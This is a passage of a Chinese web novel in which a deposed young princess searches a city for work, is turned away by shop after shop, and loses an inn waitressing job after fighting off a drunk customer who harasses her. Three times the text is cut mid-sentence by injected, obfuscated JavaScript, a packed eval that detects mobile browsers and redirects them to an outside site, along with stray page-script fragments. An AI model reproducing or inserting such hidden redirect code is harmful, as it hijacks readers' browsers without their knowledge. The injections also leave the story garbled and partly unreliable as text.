宋展翅脑袋跟着她的话一点一点：公主好厉害！ 宋文楚越说越来劲，索性站起来，在屋里来回踱步： “再不济，我去给人鉴鉴古玩字画呗。宫里的古玩珍宝我从小看到大，真品赝品一见便知。那些古董铺子的掌柜，怕还没我眼力好呢。” 宋展翅已然彻底安下心来，悠哉悠哉用翅膀捋胸前的毛。 宋文楚得意，走回去坐下，将盏凉茶一口闷了：“所以你说，有什么好急的？明日出去随便转转，就能寻着差事。寻着差事就有银子，有银子就有饭吃就有地方住，这下你能安心睡觉了吧？啧啧，你看看你，毛都啄秃了，回头飞不起来谁给我跑腿？” 宋展翅让她这么一说，低头往胸口一看，果然秃了一小块。它有些不好意思，拿翅膀遮了遮。 “行了行了，睡觉。”宋文楚打个哈欠，把它放回枕边。宋展翅这回不挣扎了，乖乖蹲下脑袋埋进翅膀里。 宋文楚吹了灯，躺下来。 黑暗里，宋展翅忽然咻一声，轻轻的。 宋文楚没睁眼，也明白它意思：“知道了知道了，明天一定寻着活儿。” 宋展翅提醒完，安然入梦。没一会儿，枕边传来细细的呼噜声。 这下宋文楚睡不着了。 她讨厌呼噜声！ 7. 托足无门 次日清早，宋文楚醒来时，宋展翅还在枕边缩成一团，她戳了戳，宋展翅迷迷糊糊睁眼。 “起了起了，今天找活儿去，别睡啦。” 宋展翅一听“找活儿”，立马精神了，撑开翅膀站直跳到她肩上。 宋文楚洗了把脸，将头发仔细打理好，照着镜子瞧过好几回，终于满意后把宋展翅往怀里一揣，下楼去了。 店小二正拿抹布擦桌椅，见她下来抬头笑道：“姑娘起得早，可要吃点什么？” 宋文楚摸摸袖子里，囊中羞涩。昨夜出宫什么都没带，一个子儿也没有。 “不用了，给我退房吧。” “好嘞，姑娘慢走，”店小二在后头喊，“下回再来啊！” 宋文楚头也不回。 下回？下回我都有住处了，还来你这儿？ 客栈门向东走段距离就是一整条街市。色香俱全的零嘴点心，纷华靡丽的锦罗绸缎，两边商铺也都开了门陈列出各家风光，景况蔚为壮观。 宋文楚站街口四下望望，心里瞬间有底了。机遇遍地皆是，寻个差事还不是手拿把掐。 她看到第一家，是间名为“丰裕粮行”的粮店。她揣摩过几遍语气，觉得差不多了抬脚进去。 柜台后头坐了个中年男子戴着副铜边叆叇，正在拨算盘珠子，听到动静顺口问道：“买粮还是粜粮？” “不买也不粜，”宋文楚走上前，“先生，你们这儿缺不缺账房先生？” 算盘珠子停了，中年男子抬眼打量她。眼前的丫头看着就不像普通人家出来的姑娘，衣裳是上等料子发髻也梳得齐整，怀里鼓鼓囊囊的不知揣着什么。 中年男子笑了，那笑不是对顾客热情的笑，是觉得新鲜的笑：“小丫头，你多大了？” “十二，快十三了。” “十二岁做账房？”他摘下叆叇，拿袖子擦了擦，“我在这行干了快三十年，十二岁当学徒的时候才刚摸着算盘呢。你说你要做账房？” 宋文楚皱眉：“做账房跟年纪有什么相干？我会不就行了。” “那你会什么？四书五经读过么？《九章算术》学过么？” “都读过。《九章算术》对我来说还是浅了些，我看的是《数书九章》。” 中年男子干笑两声：“成，就算你读过。”回头冲里屋喊，“老周，出来瞧瞧，有个十二岁的姑娘来应征账房。” 里屋钻出个瘦老头，上来就问：“有保人么？” 宋文楚还没听说过：“保人？” “对啊，保人。账房先生经手银钱，总得有人担保不是？你找谁担保？” 中年男子提醒：“除了保人还有路引。你是哪儿人？家在何处？这些东西都没有，万一你卷了银子跑了，我找谁去？” 宋文楚急了：“我不会跑的。” “你嘴上说不会跑，我就要信你？那我问你啊，你在京城中有什么亲戚么，可认得哪个有名有姓的人物？” 哪儿人？宫里人。路引？没有。亲戚？有个摄政皇叔，有个太子哥哥，还有个皇帝父亲，可这些她能提么。 见宋文楚沉默不语，瘦老头摇摇头：“得了，小姑娘，哪来回哪去吧。账房先生不是那么好当的，就你这岁数先回家长个几年再谈。” 中年男人又戴上叆叇拨起算盘珠子，委婉表示送客。 她只好出来。 宋展翅探头咻了一声：怎么着？ “无妨，这家不行咱们换下家，总不至于那么背。”宋文楚一根手指把它按回去。 第二家是座三层高的茶楼，青瓦覆盖歇山顶，竹木搭架扎的彩楼欢门，很是繁华气派，只檐下挂着那块匾上的题字犹如苍蝇腿蘸墨乱舞，对比宋文楚五岁时的字迹都不如。 这家店生意倒是兴隆，时候还早着呢楼中却已然坐了好几位客，三五跑堂的端着盘子来回走，胖掌柜坐在柜台后头乐呵呵算账。 茶博士将宋文楚迎进门。 胖掌柜：“姑娘喝茶？楼上还有座——” 宋文楚摆手：“我不是来喝茶的。我想问问，你们这儿还缺人不么？” “这儿不缺跑堂的了。” “我不是来当跑堂的，你们茶楼门口那牌匾字迹丑陋，想必会影响进来茶客喝茶的心情。我可以给你们写新的，还能写对联或者招牌，我字写得好太傅都夸过，客人看了肯定想进来。” 胖掌柜：“太傅？哪个太傅？” 宋文楚噎了一下，含糊道：“就……就那个太傅。” 胖掌柜又哈哈大笑起来，笑得宋文楚莫名其妙。 “小丫头，什么太傅夸都没用。”胖掌柜抹抹笑出来的眼泪，“门口那匾是我写的。” 宋文楚：“……”她要是现在改口还来得及吗？ 掌柜的见她那样儿，又笑了几声：“行了行了，小姑娘有骨气。但我这不缺人，你去别家看看罢。” 宋文楚灰溜溜狼狈逃离了茶楼。 她望着天出神。在宫里时，太傅明明说她字写得好，说放眼整个大梁像她这般年纪能写出这种字的屈指可数。 可现在她到了外头，别人竟连看一眼也不肯。 太傅骗人。 宋展翅探头：又不成？ 一根手指毫不留情将它再次戳回去。 第三家是个书画铺子，门框左书“收古今名迹”，右书“售文房四宝”。 正对门的墙上挂着几幅字画，中间像是仿的倪云林笔意，可惜笔触生硬缺了他那分独有的疏淡清远逸气。旁边的工笔牡丹勾勒还算别致，毁在了秾丽的设色上，显得艳俗。 尽头一副是行书录的唐诗，字势开张，乍一看颇有米家风味。不过，啧啧，不如米癫纵逸。这家货色，也就中等水平。 一个戴着顶旧毡帽花白胡子的老头正伏在案上画画儿，宋文楚凑近些看。 老头搁下手中笔，抬首眯眼看她：“姑娘买画？” “不买不买，我想问问，你们这儿收不收画？” “收画？你有画要卖？” “现在还没有，但我能画。我画的花鸟人见了都说好。” 花白胡老头笑了，那笑容跟前面两家异曲同工之妙。 “小丫头，你多大了？” 宋文楚回答地熟稔：“快十三了。可我的年纪跟画画不相干吧？只要画得好就行。” 花白胡老头捻捻胡子：“那你画一个我瞧瞧。” 宋文楚看了圈案上，笔是湖笔墨是徽墨，纸是宣纸砚是端砚，这倒都是些好东西。她拿起笔蘸了墨，刷刷几笔。 一只灰色的鸟扑棱着翅膀落在枝头，歪着脑袋活灵活现的。 花白胡老头举起来端详两眼，又端详两眼：“这是何物？老夫从未见过。” 宋文楚咳了一下：“此乃南疆异兽，名为鲲鹏。” 话刚落下，怀里宋展翅太兴奋了，不停地弄出动静来。 宋文楚顶着花白胡老头古怪眼神稳定不动微笑。 “这画工你是跟谁学的？” “太傅教的。”宋文楚怕他追问，又飞快地补充一句：“以前家里请的先生。” 花白胡老头盯着那画看了又看，叹了又叹。 宋文楚本就等得心里发虚，现在更是被他这不上不下的态度搅了忐忑。方才她随性画的时候没怎么感觉，现在被花白胡老头以这种审视的目光去看，不得不紧张起来。 “小姑娘，画得很不错。真不错。”嘴上说着不错，声音却越来越低带着无尽的惆怅。 宋文楚挫败的信心被这一句重新点燃，果然还是有识货的！ “那收吗？” 花白胡老头摇摇头。 “不收。” 宋文楚愣了：“为何？你不是说画得不错么？” 花白胡老头点头：“是不错呀。这笔力一看就是下过童子功的功夫。鸟的神气更不是光靠练就能练出来的，想要画好，得有心，有眼，有灵性，缺一样都不成。老夫在这行混了四十多年，这样式个性鲜明的花鸟画却不常见。” 宋文楚听得心里发热，更疑惑了：“既然我画的好，那怎么不收呢？” 老头将画轻放下，往椅背上一靠，目光里多了些许深沉。 “姑娘，你可知我这铺子里卖的是什么？” 宋文楚：“画儿啊。” “是画儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279018|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，可也不是画儿。” 他伸手指正对门墙上那几幅：“你瞧那幅山水图，属倪云林一路的，这是东城马秀才所画。马秀才会画么？会。画得好么？也还成。可人家来买，是冲马秀才么？不是。买家冲的是那落款——‘云林后人’才买的呀。” 他再一点那幅宋文楚嫌艳俗的牡丹工笔。 “那副是西街李娘子画的，李娘子的工笔在这城里也算数得上的人物。但买家来买，也冲的是那方印——‘天香阁’。天香阁是谁？没人知道。可那方印盖上去了，就有人认。” 老头收回手，重新看向宋文楚。 “姑娘，你这画拿到外头，只若内行看了都知道好。可内行又能有几个呢？十个里头能碰上一两都是顶天的了。剩下那八九个看画纯属看个热闹，在他们眼里，你的画跟街边那些行货摆一处无甚区别。” “我这铺子卖的是名头。什么叫名头？某某山人，某某居士，某某堂主人。人家买画买的就是那个名，不是那几笔墨，几笔墨画再好能值几个钱呢——嗨，不说也罢。” 最后花白胡老头道： “所以，任凭你的画再好，只要你没名头就卖不上价。卖不上价，我收了就会压在手里，一年两年卖不出去，亏的是我。姑娘，我也是开门做买卖的，不能做赔本的生意啊。” 宋文楚心里那团火渐渐熄下去。 面上第一次出现了迷茫。 她有本事。 那为什么没人要呢？ 因为她没有名头。 花白胡老头见她那样儿，脸上露出些不忍来。 “姑娘，我说句不该说的——不提名头，只你这来路老夫也不敢多问。你来路不明不白的，我若收了你的画，回头有人找上门来说我这铺子收赃……唉，我这把老骨头，可再折腾不起喽。” 宋文楚临走前，花白胡老头从旁边抽出几张宣纸递给她：“拿着吧，没事练练笔。兴许哪天就出名了。” 宋文楚低头看看那几张纸，没接。 她转身往外走。 走到门口，只听到老头在后头喊：“小丫头，你那鸟画得真好！鸟的神气，老夫画了一辈子，也未必画得出来！” 宋文楚没回头。 宋展翅又从怀里探出脑袋，开始咻咻咻。 “别吵，我在想事儿。” 觉察出宋文楚神色不虞，宋展翅自觉钻了回去。 第四家是间书坊。她想着，这个总该行了吧？她会读书，会写字会背书，书坊总该用得着吧？ 走到门口又停住了，她好像失去了进入的勇气。 深吸一口气再呼出，还是咬了牙走进。 书坊的掌柜是个斯文人，听她说完，便问：“会抄书么？” “会。” “抄过什么？” “《论语》《孟子》《诗经》《尚书》……”她数了一串。 “字迹如何？” 宋文楚写了几个递给他，斯文人接过去看了也说不错。 如今听到这种话宋文楚已然欣喜不来，只怕下一句又要转折，果不其然—— “不过，我们这儿抄书的都是些老熟人，几十年交情了。你一个新来的没名没姓，我怎好把活儿给你？” 宋文楚忙道：“我可以先抄了让你看看，不满意不要钱，只要给我个住处和一口饭吃就好了。” 斯文人笑着摇头。 又是这样的笑容，宋文楚现在一见到他们笑心里就犯怵。 “不是这个理儿。小丫头你不懂，这行有这行的规矩。有好活，都是熟人托熟的生人只能靠边站。你回去打听打听，看谁认得我们这行的人，再让人领着来了，那才好说话。” 宋文楚从书坊出来，天已经快晌午了，她站在街边半天没动。 看着来来往往的人，肚子饿得发出鸣叫。 宋展翅这回自个儿钻出来，蹲在她肩上，咻了一声。 “你也饿了？”宋文楚问它。 宋展翅点点头。 宋文楚也犯不着摸身上，反正一文钱没有。 那家客栈房钱只付了一晚，今日夜里她恐怕连住的地方都没了。 8. 淤泥生花 她想起对宋展翅信誓旦旦说的那些话：寻个文职做做，还不是轻而易举的事？ 她有些想笑。 笑着笑着，又有些想哭。 宋展翅拿翅膀蹭蹭她的脸，似乎是在安慰她。 “没事。”宋文楚吸了吸鼻子，“这才四家呢，这条街还长着咱们慢慢找。” 街边有个卖炊饼的摊子，热气腾腾的，香味飘过来勾得她肚子又是一阵咕咕叫。 卖炊饼的大婶招呼她：“小姑娘，买炊饼么？一文钱一个。” 宋文楚摆摆手走了，走了几步，又忽然冲回头问那炊饼摊子的大婶： “大婶，你们这儿需不需要人写招牌？我字写得可好了。” 大婶半天没反应过来。 啥？ 招牌？ 她这么个小摊子哪里需要什么招牌，全是靠自己吆喝呢。 第五家是个钱庄，不要人。 第六家是个绸缎庄，掌柜的连话都没说直接摆手让她离开。 第七家是个胭脂铺，老板娘倒是和气，听她说会写字画画，还让她在纸上画了朵牡丹。画完了，老板娘拿着看了半天，夸她画得好。 宋文楚等着她的拒绝。 老板娘夸完了，把画放下，笑吟吟问她：“姑娘，你是哪儿人？家里做什么的？” 宋文楚说不出来，老板娘见她模样可怜，从柜台里摸出几枚铜板塞进她手里：“姑娘，这钱你拿着，买几个包子吃。我这铺子小，养不起人，你……你再去别处瞧瞧罢。” 三枚铜板能买什么？ 宋文楚今天知道了。 三枚铜板可以买到两个包子，一荤一素，荤的比素的贵一枚铜板。 她把肉的掰碎了，一点点喂给宋展翅。素的自己啃。 包子有点凉了，皮又厚馅还少，但她吃着感觉还挺不错。 宋展翅啄着包子屑，啄着啄着，抬头看她。 宋文楚知道它想说什么。她伸手摸摸它的脑袋，没说话。 太阳落下去了，街上的人越来越少。往前看，是一条街，不知道通向哪儿。往后看，也是一条街，不知道通向哪儿。 早上出来的时候，她觉着天大地方大，哪哪儿都是机会。什么账房先生，什么大户西席，什么画画儿，什么写招牌，她觉着自己随便转转就能寻着。 原来不是她找不到机会，是那些机会一个也不认识她。 她不是公主了，她已经不是宋文楚了。 没了公主的身份是昨夜的事，那时候她只是知道，却是今天才真的明白过来，宋文楚不是公主了就什么都不是了，甚至连名字也没了。 什么都不是的人，找活儿没人要。 花白胡老头说他画了一辈子，也画不出宋展翅。 可她画出来了。 她画宋展翅，是因为宋展翅就在她怀里，可以天天看着天天摸着，天天跟她说着话。宋展翅的模样，她闭着眼都能画出来。 别人画不出来，她能画出来。 还是没用。 这世道，怎么找个活这么难？ 原来光靠自己有用没用，还需要各种门路。 名头、路子、熟人。 这世道，真有意思。 画画得好不好，不看画看名头。 账算得清不清，不看账看路子。 书抄不抄得，不看字好不好，看有没有熟人。 那她这十几年，学这些有什么用？ 琴棋书画，诗词歌赋，有什么用？ 在宫里的时候太傅教她，说这些是立身之本，是安身立命的学问。她那时候信了，真信了。她以为学会了这些，往后什么都能做。 可进过今日，她就明白了。 立身？安身？ 她连门都进不去，立什么身？ 茶楼那胖掌柜哈哈大笑的样子仍徘徊在脑海里。她嫌人家对联写得不好，结果那是人家自己写的。 她那会儿臊得慌。这会儿想起来，还是臊得慌。臊过之后，又觉着无奈。 她有什么资格嫌人家？她自己呢？她连个活儿都找不着。 宋文楚在昨晚那家客栈门口踌躇了好半天，思来想去，还是回了这地儿。 倒不是因为多喜欢这地方，那涩嘴的茶水她只要一想起还得皱眉头。只是把街上转了一圈，她就只认得这一个门。 孙掌柜见到她眉开眼笑的：“哟，姑娘，又来啦？住店？” 宋文楚走到柜台跟前。 “掌柜的，你们这儿缺人不？” 孙掌柜本来笑意洋洋的，听到这话脸上的笑是肉眼可见淡了下去，他换上一副上位对下位的挑剔眼色打量宋文楚，最后勉强同意。 “行。我这儿正缺个跑堂的，平日里就端端盘子收拾收拾桌子，一天干六个时辰，管吃不管住。干不干？” 宋文楚：“干！” 孙掌柜从抽屉里摸出本簿子，指头端在嘴里沾了点口水翻页，给宋文楚看的犯恶心，他拿笔蘸了墨：“叫甚么名字？” 她叫什么？ 她差点脱口而出“宋文楚”三个字，好在咽了回去。 “楚文。”她说。 孙掌柜笔尖顿了顿：“楚文？姓楚？” “姓楚，叫文，文章的文。” “哪儿人？” “南边逃荒来的。” 孙掌柜抬头看她，那眼神里明显的不信：你？逃荒的？身上这身蜀锦面料当我看不出来？细皮嫩肉的，哪儿像逃荒的？ 不过他也不多问，唰唰在簿子上写下几行字。 “多大了？” “十二。” “路引呢？” “没了。逃荒的时候弄丢了。” 孙掌柜眼珠子一转：“小丫头，我跟你说句实在话。你连没路引都没有，我用你是担着风险的，不过看你也实在可怜，要干的话工钱得减半。这样吧，可以让你试用三天，这三天里没工钱。如果干得好，三天后就留下来，三天工资再补进你下个月四百文的工钱里，干不干？” 宋文楚不知道四百文这数是多还是少，她也没得挑。 “干。” 孙掌柜喜滋滋合上簿子，又省了四百文。 “行。翠儿！带这丫头去后头换身衣裳，教教她怎么端盘子！” 宋文楚的跑堂生涯就这么开始了。 翠儿是个瘦瘦的十七八岁姑娘，瞧着就是个聪慧伶俐的，说话也跟蹦豆子似的活泼得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279019|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很。 “换上，把这抹布搭肩上。一会儿跟着我，看我怎么做的。”翠儿扔给她件褂子和一条抹布。 宋文楚换上那蓝布褂子。褂子太大了不合身不说，袖口还长出一截来，活像唱戏的，她卷了两道才露出手来。翠儿见了噗嗤笑出声。 “你跟个偷穿大人衣裳的小鬼似的。” 翠儿的声音引来了宋展翅探头。 “呀！你怎么还带个只鸟？等等，这什么玩意儿？”翠儿惊呼。 “这是我在逃荒路上捡的，它很乖的一点不闹。” 翠儿看了一会儿：“行了行了，上工罢。” 此刻正是夜宵饭点，大堂里坐满了人，几个跑堂的端着盘子来回穿梭。 站在传菜口，翠儿从托盘上端起两盘菜，回头冲宋文楚说：“看着啊，就这么端。手稳当些，别晃。” 宋文楚把她的手势和动作都记在心里。 看着翠儿来回送过一趟，宋文楚自觉得心应手，跃跃欲试。 宋文楚拿起个托盘搁在小臂上，翠儿端来四碗面和两碟小菜汤放进托盘，热气腾腾的，碗边还挂着汤汁。 “送去西边那桌。小心烫慢点儿走，别洒了。”这桌客人是四个脚夫。 宋文楚接过托盘，深吸一口气，迈步往前走。 托盘比她想象的要沉，以她的臂力托着这些东西颇为勉强，只是脚已经踏出去了不好再回头分两回。 走到大堂中间，宋文楚小臂晃个不歇。 太沉了，她用另只手去扶托盘都沉。手臂实在受不住了，她换了个姿势，沉。小心翼翼再换一个，还是沉。她自小饮用餐食，都是宫人端好了递到她跟前，何曾劳她自己托过？ 那托盘又开始晃。她赶紧稳住，又晃，又稳。 总算走到了那桌跟前，宋文楚抬手去端一碗面，刚触到碗边手指就被烫了一下，她先将另外两盘菜端了放桌上。 看着剩下四碗面，宋文楚咬牙忍受面碗的灼烫端下去一碗。 手指被烫得通红，灼痛。 还剩三碗。 宋文楚的心是坚韧的，可她高估了自己娇嫩肌肤的耐热度，第二碗在她手上烫上加烫，她再也受不住，手一松—— 一碗面连汤带水，哗啦一声全扣在了地上，她受到惊，连带托盘里剩的两碗也砸了地。 大堂里静了一瞬。 那几个脚夫扭头看过来，孙掌柜从柜台后头探出脑袋，脸都黑了。 宋文楚站在那儿脸上火辣辣的。 “对不住对不住，”她回头弯腰去捡碗，“我、我——” “别捡了。”孙掌柜走过来，低头数那一地狼藉，“一碗面十文钱，一共三十文。从你工钱里扣。” 宋文楚蹲在地上，手里捧着碎碗碴子，愣了。 三十文。 她一天工钱才十三文。 第一趟活儿还没干完，已经先欠了三十文。 宋文楚把碎碗捡起来，往后厨走。 没事，一回生二回熟。 第二回，她学聪明了拿了快净布垫在手上，端盘子的时候也小心盯着脚下，一步分成三步走，这回端稳了。第三回，她也端稳了。第四回，她觉着自己已经是个老跑堂了。 9. 虎落平阳 可老跑堂也有老跑堂的坎儿。 那天晚上来了几个客人，坐到了角落的桌子，点了几个酒菜，吃着喝着便喝高了。其中一个三十来岁留着两撇小胡子的油腻男子，色眯眯的小眼睛眯成一条缝，冲宋文楚招手。 “哟，小丫头，过来过来。” 宋文楚忍住不适上前询问：“客观是要什么吗？” 小胡子将她从头到脚打量了一遍，目光在她脸上黏了黏，又往下滑。滑到一半，突然伸手往她脸上摸来—— 宋文楚身体往旁边一闪。 那恶心的手落了空。 宋文楚眼睛直直盯住他，盯得小胡子后背发凉。 这……这小丫头的眼神怎么这么唬人？ 小胡子不甘被她的架势镇住，强打起色心更为兴奋道：“躲什么躲？还害羞呢？爷瞧着这小脸儿细皮嫩肉的，不像是干粗活的呀，来，让爷摸摸有多嫩。”他说着，又伸手过来，这桌人也跟着笑。 这回宋文楚没躲，她抡起托盘照着那张猪脸就抽过去。 她活到这么大，还没人敢这么对她。 在宫里的时候，她是公主，嬷嬷们见了她行礼，太监们见了她低头，谁敢碰她一下？ “放肆。” 清脆响亮，整个大堂都听得见。 脸上的红印子从眉骨斜下来，一直拉到下巴颏。 小胡子捂着脸，酒醒了五分，同桌三个也不笑了，嘴巴张大像三条搁浅的鱼。小胡子捂着脸，又恼又怒，眼里冒火：“你、你用盘子打我？” “打你？本宫——”宋文楚反应过来立即改口，但那气势没收住，她冷笑，“打你是轻的。你方才那举动依大梁律法，先杖八十，再视情节轻重惩治，轻了发配，重了砍手。你觉着你这只手，能值几个钱？” 邻桌的客人全扭头来看热闹，想憋着笑却没憋住，口中还啧啧称奇。 小胡子在这么多人面前失了面子，额上青筋暴起，眼里蓄起可怖的阴云。 “骟你爹的驴蛋——！” 他一脚踹翻凳子，整个人像条野狗一样扑上来。那凳子滚出去撞在邻桌腿上，吓得那桌客人惊叫着跳起来。 宋文楚撒丫子就想跑，却被小胡子揪住了后衣领，把她整个人提得脚直蹬。 “你他爹的敢打我？你知不知道老子是谁？” 她害怕地心跳得咚咚响，可嘴上一点不露怯。 “放开！”她说。 小胡子暴怒更甚：“放？老子今天不打死你！”他另一只手扬起来，对着宋文楚脸上就要扇。 宋展翅从宋文楚怀里钻出来，浑身的毛竖起整个炸成一只球，它跳到宋文楚肩上去啄小胡子手，被那手一挥，飞出去撞在了桌腿上。 宋文楚瞳孔瞪大，大叫了声“展翅”，而后对着小胡子又踢又蹬，用指甲去剜他眼睛，小胡子一下子将她两条手臂反剪身后。 “住手！” 掌柜的从柜台后头冲出来，强行将两个人分开，小胡子踉跄后退两步松了手，宋文楚跌在地上疼得她嘶嘶抽气。 “你他爹——”小胡子站稳后扭头就要往孙掌柜身上扑。 他同桌那几个人这会儿总算干点人事，一拥而上把他抱住：“行了行了！老三！老三你喝多了！” “我没喝多！这小杂种打我！她用盘子打我！”小胡子在人堆里挣扎，眼神恨不得要将宋文楚生吞活剥。 孙掌柜挡在宋文楚身前，连连作揖：“客官息怒客官息怒，这丫头不懂事，您别跟她一般见识——” “不懂事？”小胡子被人按着，嗓门却嚷得老大，“不懂事就能打人？老子出来喝酒，叫个丫头过来看看，她上来就抡老子一盘子！你看看我这脸！” 邻桌几个客人早躲到墙角窃窃私语去了： “这小姑娘倒是个烈性子。” “烈性归烈性，到底还是太年轻呐。不过是那汉子撩拨人在先，挨这下子也是活该！” “小声点！这一伙人瞧着都不是安分的，可别惹祸上身。” 孙掌柜脑门上冷汗流下来，都说宁可得罪君子，也不能得罪小人，这话在理啊。 这桌的几位也是店里的常客了身家底细都清楚，他们虽不是什么大人物，但在这一片混的总认识几个地头蛇。今日要不把这事给平了，往后他这店门都不用开了。 “客官，您听我说。”孙掌柜从袖里摸出一把铜板，又摸出一把，数都不数了就往小胡子手里塞，心里肉疼得很，“这顿算我的，您拿去喝酒，消消气消消气……” 小胡子瞟一眼手里铜钱，这点可不够买他的颜面。 “就这点？老子挨这一盘子，就值这几个钱？” 孙掌柜明白今天注定是要大出血了，他认命般又从中摸出块碎银子，点头哈腰着塞进小胡子手里，说了好些软和话。 小胡子掂着银子脸色总算稍缓些，他施恩般对宋文楚道：“你这丫头知不知道，刚刚要不是掌柜的解围，老子能打死你？” 宋文楚懒得理他，之前跌在地上的时候她就把宋展翅捞回来握手心里了，这会儿宋展翅正浑身发抖。 小胡子被当做空气无视，心里的火又冒上来了，伸手又要抓她，孙掌柜眼见不对急忙再次拦住。 “客官！客官您大人大量，别跟个小丫头计较。她不懂事，我回头就辞了她，往后您来了保证见不着她。” 小胡子冷哼一声。 “行。我看孙掌柜的面子今天就饶你一回，可你记住了，下回别让老子见着你，见着你一次打你一次。” 小胡子招呼他那几个兄弟：“走！换个地儿喝！”那几个人跟着他往外走，走到门口小胡子又回头看了一眼。 宋文楚还坐在地上，手里抱着一只鸟，脸隐在暗处看不清神情。可他总觉得，那双眼睛冷飕飕的。 小胡子打了个寒噤，骂了句什么，掀帘子出去了。 等那桌人彻底走远，孙掌柜转过身来脸拉得老长。 “楚姑娘，你跟我来。” 宋文楚撑着地站起身。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279020|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 后厨门口，孙掌柜站定了伸出手：“托盘给我。” 孙掌柜接过翻面看了看，边角上沾着点灰，盘子倒是没坏。 “还好没坏，坏了还得扣你钱。” 宋文楚没吭声。 “你那些话是哪儿学的？什么本宫，什么大梁律，什么杖八十砍手——”掌柜的掰着手指头数，“你一个逃荒的小姑娘，哪儿知道这些？” 宋文楚低下头，盯着自己脚尖。 “我不是故意的。”她轻声说。 “我知道你不是故意的，你是打小就这么说话，一时半会儿改不过来了，对吧？” 孙掌柜忽然又问：“你家里，原先是做什么的？” 他的目光里倒是没有恶意，就是好奇与一点怜悯。 宋文楚不会编谎话，尤其是这种一眼就假的谎，再说了孙掌柜的什么都看在眼里，再跟他扯谎更没意义。 最后她只说：“不能说。” 孙掌柜愣一愣，点点头，没再问。他这才说起今晚的事： “刚刚那几个人不是好惹的，今天要不是我那块银子，他们能把店砸了把你打残了扔出去，你信不信？” 宋文楚信。 她当然信。 从前在宫中时，就曾听闻某个大臣的亲戚自恃身份横行霸道，打死人都不偿命。说哪个哪个纨绔子弟欺男霸女，官府也管不了。 只是听说是听说，真遇上了又是另一回事。 “你打他一下打得是痛快，可痛快完了呢你有没有想过？痛快能当饭吃么？能当命活么？” 孙掌柜胸口剧烈起伏着，像是气伤了。好半天他才顺通了气，接着从口袋里摸出张皱巴巴的纸，宋文楚认出这是从账簿上撕下来的。 “这桌酒钱是三百文，我免了一百五。我那块银子值二两，加上你上回打翻的面、上错的菜，还有今儿个这事……”他报了个数。 宋文楚听着价钱不对：“掌柜的，那块银子呢？” “那块银子算我借你的，你现在又还不上，只能等往后你有钱了再还我啊。你这几天的工钱扣完只剩这些了，拿着走吧。”孙掌柜数出十三个铜板给她。 宋文楚有些无措：“掌柜的，我——” 孙掌柜打断她：“别说了，你是个好孩子，可你干不了这个。你这手，就不是端盘子的手。你这脾气，也不是伺候人的脾气。你这命，更不是跑堂的命。往后……往后注意些吧，别惹事，唉。你现在比不得从前，任你从前多富贵有天大的身份，没了倚仗，落魄了只能自己憋着受。” 宋文楚眨眨眼，努力克制住不要让眼泪掉下来。她向孙掌柜鞠过一躬：“多谢掌柜的。” “你的鸟没事吧？” 宋展翅昂着头，金灿灿的眼珠子转来转去精神得很，就是身上的毛还炸着没全消下去。 宋文楚：“没事，它身体好着呢。” 孙掌柜将宋文楚送到门口，翠儿也赶来看，宋文楚已经走远了，翠儿还在朝她背影招着手。 10. 老母猪庄 宋文楚捧着宋展翅一路往前走。 街上的人越来越少，店铺的灯一盏一盏灭了。街角的灯笼在风里晃荡，将她影子拉得忽长忽短，犹如一条丧家犬。 脑子里乌七八糟的念头全堆在了一处，堆成了满腔的—— 恨。 她恨。 恨宋明臣。恨他窃了她家江山，坐了她家垂拱殿，恨他给她条生路也要给得折辱，迫使她由一条必死之路走向另一条将死之路。 恨宋清让。恨他权衡利弊，明哲保身，明明来得及却偏要等到最后一刻，恨他那张温温吞吞的脸，恨他那双视而不见的眼，那张缄默无言的嘴。 恨父皇。恨他缠绵病榻清不了贼臣，恨他护不住亲身骨肉，恨他留她一人在这漆黑森冷的夜里无所依倚，不知归路。 恨太傅。恨他教的那一堆无用之物，满口仁义礼智信，将她教成了宫墙内天真烂漫的附庸风雅之徒，却不教她离了公主身份庇护又该如何立身处世。 恨皇宫。恨那高高的墙，深深的院，恨那些笑里藏刀的嘴脸。她在里面活了十二年，如今才知道，她觉得最无自由最深沉最凶险的地方，竟是她唯一的容身之处。 恨这世间。恨那些伸来的手，不怀好意的笑，恨那些“你谁啊”的眼神，“你没名头”“你没保人”“你才多大”的话。她恨这世道将人分成三六九等，恨她以为最自由的宫外将她拒之门外。 恨到极处，血管里的液体全在沸腾，想要逆着经脉冲破喉咙，通过她的口将恨喧嚣泄露。 这时，两声啾啾的禽鸣拽住了她理智。 宋文楚低头看了眼自己的手。 干净漂亮的手，跟别的跑堂不一样的手。这只手抡过托盘，抽过猪脸。这只手，正捧着一团灰扑扑的鲲鹏毛球。 原来她恨来恨去。 